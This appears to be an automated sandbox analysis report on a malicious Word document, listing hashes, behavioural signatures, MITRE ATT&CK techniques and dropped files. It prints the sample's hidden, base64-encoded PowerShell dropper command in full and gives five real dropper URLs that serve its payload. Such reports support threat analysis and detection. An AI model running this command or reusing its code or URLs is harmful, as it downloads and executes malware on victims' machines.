ba79b7f9d4cbb86ebe45caa23530d6e69c190076bb340180a2dcd54fee2f7674

General

Target

ba79b7f9d4cbb86ebe45caa23530d6e69c190076bb340180a2dcd54fee2f7674.doc
Size

177KB
MD5

df082fcf46023be3a68aad02c8024b14
SHA1

f4267d3d8f6442cd414fa4e5e6c31380283df8d4
SHA256

ba79b7f9d4cbb86ebe45caa23530d6e69c190076bb340180a2dcd54fee2f7674
SHA512

265ffec4e7d667ef3c6215f58d54d12d24e63323551f8dbbad1cdead0465756c0c81f4e9c6f6117ebd73d15d8fd411877777f649806f8804d1d775d3e22b70a3
SSDEEP

3072:ZT2y/GdynktGDWLS0HZWD5w8K7Nk96D7IBUqZB0zstySfNllXe:ZT2k43tGiL3HJk96D7bc0z0rllX

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4100	4868	Powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

Powershell.exe

flow pid process

27 4100 Powershell.exe
29 4100 Powershell.exe
31 4100 Powershell.exe
32 4100 Powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

Powershell.exe

pid process

4100 Powershell.exe

flow	pid	process
27	4100	Powershell.exe
29	4100	Powershell.exe
31	4100	Powershell.exe
32	4100	Powershell.exe

pid	process
4100	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5092 WINWORD.EXE
5092 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

4100 Powershell.exe
4100 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 4100 Powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

5092 WINWORD.EXE
5092 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

5092 WINWORD.EXE
5092 WINWORD.EXE
5092 WINWORD.EXE
5092 WINWORD.EXE
5092 WINWORD.EXE
5092 WINWORD.EXE
5092 WINWORD.EXE

pid	process
5092	WINWORD.EXE
5092	WINWORD.EXE

pid	process
4100	Powershell.exe
4100	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	4100	Powershell.exe

pid	process
5092	WINWORD.EXE
5092	WINWORD.EXE

pid	process
5092	WINWORD.EXE
5092	WINWORD.EXE
5092	WINWORD.EXE
5092	WINWORD.EXE
5092	WINWORD.EXE
5092	WINWORD.EXE
5092	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 5092 wrote to memory of 3540	5092	WINWORD.EXE	splwow64.exe
PID 5092 wrote to memory of 3540	5092	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ba79b7f9d4cbb86ebe45caa23530d6e69c190076bb340180a2dcd54fee2f7674.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5092
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3540

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4B12E33C.wmf

Filesize
444B

MD5
1d7ab78da502045c4fe8e9765c278040

SHA1
d93c422a5589c573eb0a08422f90fc2aab7e4bb8

SHA256
376d218a29b601177ac68a6cd8657f1bce3cddd3af0db99bbb19d1d5636643c7

SHA512
16d9a781b752a837310fd48038708dd12ca4b5f54f7e43925161262af3d607e31eb10efbb11e4dd766c5ea938cf1523dff084415027a0b751b3313c33f21403c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDF57A.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lyhlblbh.140.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
memory/4100-49-0x00000272D6A10000-0x00000272D6A32000-memory.dmp

Filesize
136KB

Download
memory/5092-6-0x00007FFD7A7F0000-0x00007FFD7A800000-memory.dmp

Filesize
64KB

Download
memory/5092-14-0x00007FFD783A0000-0x00007FFD783B0000-memory.dmp

Filesize
64KB

Download
memory/5092-8-0x00007FFD7A7F0000-0x00007FFD7A800000-memory.dmp

Filesize
64KB

Download
memory/5092-4-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-11-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-13-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-12-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-10-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-9-0x00007FFD783A0000-0x00007FFD783B0000-memory.dmp

Filesize
64KB

Download
memory/5092-3-0x00007FFD7A7F0000-0x00007FFD7A800000-memory.dmp

Filesize
64KB

Download
memory/5092-7-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-5-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-1-0x00007FFDBA80D000-0x00007FFDBA80E000-memory.dmp

Filesize
4KB

Download
memory/5092-0-0x00007FFD7A7F0000-0x00007FFD7A800000-memory.dmp

Filesize
64KB

Download
memory/5092-74-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-76-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-75-0x00007FFDBA80D000-0x00007FFDBA80E000-memory.dmp

Filesize
4KB

Download
memory/5092-77-0x00007FFDBA770000-0x00007FFDBA965000-memory.dmp

Filesize
2.0MB

Download
memory/5092-2-0x00007FFD7A7F0000-0x00007FFD7A800000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads